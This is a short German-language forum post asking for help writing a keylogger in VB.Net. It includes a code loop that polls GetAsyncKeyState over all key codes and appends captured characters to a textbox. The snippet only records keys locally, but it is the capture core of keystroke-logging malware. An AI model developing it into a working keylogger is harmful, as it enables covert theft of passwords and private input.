[Help][Vb.Net] Keylogger..

[inout]

Wenn ihr mir eure vorschläge ein wenig erläutern könntet wär das nett.

For i As Integer = 0 To 255
  If GetAsyncKeyState(i) = -32767 Then
    TextBox1.AppendText(Chr(i))
    Exit For
  End If
Next